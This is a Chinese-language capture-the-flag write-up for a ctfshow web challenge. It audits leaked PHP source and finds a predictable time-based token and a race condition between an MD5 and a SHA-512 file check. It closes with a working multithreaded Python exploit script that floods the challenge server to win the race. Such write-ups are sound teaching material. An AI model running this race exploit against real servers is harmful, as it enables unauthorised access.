打开题目F12查看网页源码,得到JavaScript代码:
<script>
function login(s){
var u=document.getElementById("username").value;
var p=document.getElementById("password").value;
var xhr = new XMLHttpRequest();
xhr.open('GET', "login.php?u="+u+"&p="+p);
xhr.responseType = 'arraybuffer';
xhr.onreadystatechange = function getPdfOnreadystatechange(e) {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
var data = (xhr.mozResponseArrayBuffer || xhr.mozResponse ||
xhr.responseArrayBuffer || xhr.response);
if(data){
ctfshow(s,data);
}
}
}
};
xhr.send(null);
}
function ctfshow(token,data){
var oReq = new XMLHttpRequest();
oReq.open("POST", "check.php?token="+token+"&php://input", true);
oReq.onload = function (oEvent) {
if(oReq.status===200){
var res=eval("("+oReq.response+")");
if(res.success ==1 &&res.error!=1){
alert(res.msg);
return;
}
if(res.error ==1){
alert(res.errormsg);
return;
}
}
return;
};
oReq.send(data);
}
</script>
通过审计发现在ctfshow() 函数里有一条向服务器发送请求的代码。通过观察得知,存在check.php的页面。
oReq.open("POST", "check.php?token="+token+"&php://input", true);
通过dirmap或者dirsearch进行目录扫描,发现了一个web.zip的文件,下载即能获取check.php的源代码
<?php
function receiveStreamFile($receiveFile){ //flag.dat
$streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
//$GLOBALS['HTTP_RAW_POST_DATA'] 是 PHP 中的一个全局变量,用于存储 HTTP 请求中的原始 POST 数据 ---> ?token="+token+"&php://input"
if(empty($streamData)){
$streamData = file_get_contents('php://input');
}
if($streamData!=''){
$ret = file_put_contents($receiveFile, $streamData, true);
//file_put_contents('flag.dat', 'php://input', true) 对flag.dat写入数据
}else{
$ret = false;
}
return $ret;
}
if(md5(date("i")) === $token){
$receiveFile = 'flag.dat';
receiveStreamFile($receiveFile);//由于先打开文件,在进行sha512判断,存在条件竞争
if(md5_file($receiveFile)===md5_file("key.dat")){//在检测完MD5后,利用判断的间隙,修改flag.dat的数据。
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
$ret['success']="1";
$ret['msg']="人脸识别成功!$flag";
$ret['error']="0";
echo json_encode($ret);
return;
}
$ret['errormsg']="same file";
echo json_encode($ret);
return;
}
$ret['errormsg']="md5 error";
echo json_encode($ret);
return;
}
$ret['errormsg']="token error";
echo json_encode($ret);
return;
审计代码
md5(date("i")) === $token
1、date获取当前时间的分钟数,然后和我们传入的Token进行一个对比。
2、通过receiveStreamFile()函数对flag.dat文件进行数据传入。通过php://input
3、由于先对文件进行操作,在进行之后的判断,我们可以利用md5中间判断的极小间隙替换原来flag.dat的数据,让sha512成立,造成条件竞争。
playload:
import requests
import datetime
import threading
import hashlib
# 获取当前时间的分钟
t = datetime.datetime.now().minute
token = hashlib.md5(str(t).encode()).hexdigest()
# 下载key.dat
url = "https://eeedcdd1-77ee-428c-b983-2a9e243d3714.challenge.ctf.show/"
r1 = requests.get(url + "key.dat")
with open('key.dat', 'wb') as f:
f.write(r1.content)
def upload_data(url, data):
# 通过php://input上传flag.dat的数据
url = f"{url}check.php?token={token}&php://input"
s = requests.post(url, data=data)
print(s.text)
with open('key.dat', 'rb') as f:
data1 = f.read()
for i in range(50):
threading.Thread(target=upload_data, args=(url, data1)).start()
for i in range(50):
# sha512进行判断,让它不相等
data2 = 'We are not equal'
threading.Thread(target=upload_data, args=(url, data2)).start()
由于条件竞争的是利用时间间隙来进行绕过,运气不好可能需要运行多次才能看到flag。